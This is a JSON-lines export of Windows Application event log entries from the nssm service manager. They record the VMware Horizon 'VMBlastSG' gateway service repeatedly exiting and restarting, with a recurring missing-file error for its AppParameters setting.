{"@timestamp":1646653161949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149536","149536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155455}}
{"@timestamp":1646653161964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155456}}
{"@timestamp":1646653161965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155457}}
{"@timestamp":1646653161965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155458}}
{"@timestamp":1646653161966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155459}}
{"@timestamp":1646653290468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155460}}
{"@timestamp":1646653290469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155461}}
{"@timestamp":1646653290469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152420","0"]}}},"module":"Application","provider":"nssm","sequence":155462}}
{"@timestamp":1646653290470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152420","152420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155463}}
{"@timestamp":1646653290487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155464}}
{"@timestamp":1646653290487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155465}}
{"@timestamp":1646653290488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155466}}
{"@timestamp":1646653290488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155467}}
{"@timestamp":1646653418990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155468}}
{"@timestamp":1646653418990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155469}}
{"@timestamp":1646653418991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149032","0"]}}},"module":"Application","provider":"nssm","sequence":155470}}
{"@timestamp":1646653418991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149032","149032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155471}}
{"@timestamp":1646653419008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155472}}
{"@timestamp":1646653419008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155473}}
{"@timestamp":1646653419009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155474}}
{"@timestamp":1646653419009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155475}}
{"@timestamp":1646653547504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155476}}
{"@timestamp":1646653547504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155477}}
{"@timestamp":1646653547505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152484","0"]}}},"module":"Application","provider":"nssm","sequence":155478}}
{"@timestamp":1646653547505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152484","152484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155479}}
{"@timestamp":1646653547520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155480}}
{"@timestamp":1646653547521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155481}}
{"@timestamp":1646653547521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155482}}
{"@timestamp":1646653547522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155483}}
{"@timestamp":1646653676031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155484}}
{"@timestamp":1646653676031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155485}}
{"@timestamp":1646653676032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152128","0"]}}},"module":"Application","provider":"nssm","sequence":155486}}
{"@timestamp":1646653676032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152128","152128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155487}}
{"@timestamp":1646653676048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155488}}
{"@timestamp":1646653676049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155489}}
{"@timestamp":1646653676049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155490}}
{"@timestamp":1646653676050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155491}}
{"@timestamp":1646653804544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155492}}
{"@timestamp":1646653804544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155493}}
{"@timestamp":1646653804544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152092","0"]}}},"module":"Application","provider":"nssm","sequence":155494}}
{"@timestamp":1646653804545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152092","152092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155495}}
{"@timestamp":1646653804562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155496}}
{"@timestamp":1646653804562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155497}}
{"@timestamp":1646653804563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155498}}
{"@timestamp":1646653804564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155499}}
{"@timestamp":1646653933052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155500}}
{"@timestamp":1646653933052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155501}}
{"@timestamp":1646653933053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150272","0"]}}},"module":"Application","provider":"nssm","sequence":155502}}
{"@timestamp":1646653933053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150272","150272","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155503}}
{"@timestamp":1646653933068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155504}}
{"@timestamp":1646653933069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155505}}
{"@timestamp":1646653933069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155506}}
{"@timestamp":1646653933070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155507}}
{"@timestamp":1646654061578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155508}}
{"@timestamp":1646654061578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155509}}
{"@timestamp":1646654061579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152356","0"]}}},"module":"Application","provider":"nssm","sequence":155510}}
{"@timestamp":1646654061579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152356","152356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155511}}
{"@timestamp":1646654061596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155512}}
{"@timestamp":1646654061597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155513}}
{"@timestamp":1646654061597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155514}}
{"@timestamp":1646654061598,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155515}}
{"@timestamp":1646654190096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155516}}
{"@timestamp":1646654190097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155517}}
{"@timestamp":1646654190097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152416","0"]}}},"module":"Application","provider":"nssm","sequence":155518}}
{"@timestamp":1646654190097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152416","152416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155519}}
{"@timestamp":1646654190113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155520}}
{"@timestamp":1646654190113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155521}}
{"@timestamp":1646654190114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155522}}
{"@timestamp":1646654190114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155523}}
{"@timestamp":1646654318697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155524}}
{"@timestamp":1646654318698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155525}}
{"@timestamp":1646654318700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152528","0"]}}},"module":"Application","provider":"nssm","sequence":155526}}
{"@timestamp":1646654318700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152528","152528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155527}}
{"@timestamp":1646654318715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155528}}
{"@timestamp":1646654318716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155529}}
{"@timestamp":1646654318717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155530}}
{"@timestamp":1646654318718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155531}}
{"@timestamp":1646654447218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155532}}
{"@timestamp":1646654447218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155533}}
{"@timestamp":1646654447219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151088","0"]}}},"module":"Application","provider":"nssm","sequence":155534}}
{"@timestamp":1646654447221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151088","151088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155535}}
{"@timestamp":1646654447236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155536}}
{"@timestamp":1646654447237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155537}}
{"@timestamp":1646654447237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155538}}
{"@timestamp":1646654447238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155539}}
{"@timestamp":1646654575738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155540}}
{"@timestamp":1646654575738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155541}}
{"@timestamp":1646654575739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152924","0"]}}},"module":"Application","provider":"nssm","sequence":155542}}
{"@timestamp":1646654575739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152924","152924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155543}}
{"@timestamp":1646654575755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155544}}
{"@timestamp":1646654575755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155545}}
{"@timestamp":1646654575756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155546}}
{"@timestamp":1646654575757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155547}}
{"@timestamp":1646654704252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155548}}
{"@timestamp":1646654704252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155549}}
{"@timestamp":1646654704253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153592","0"]}}},"module":"Application","provider":"nssm","sequence":155550}}
{"@timestamp":1646654704253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153592","153592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155551}}
{"@timestamp":1646654704270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155552}}
{"@timestamp":1646654704270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155553}}
{"@timestamp":1646654704271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155554}}
{"@timestamp":1646654704272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155555}}
{"@timestamp":1646654832863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155556}}
{"@timestamp":1646654832864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155557}}
{"@timestamp":1646654832866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153092","0"]}}},"module":"Application","provider":"nssm","sequence":155558}}
{"@timestamp":1646654832867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153092","153092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155559}}
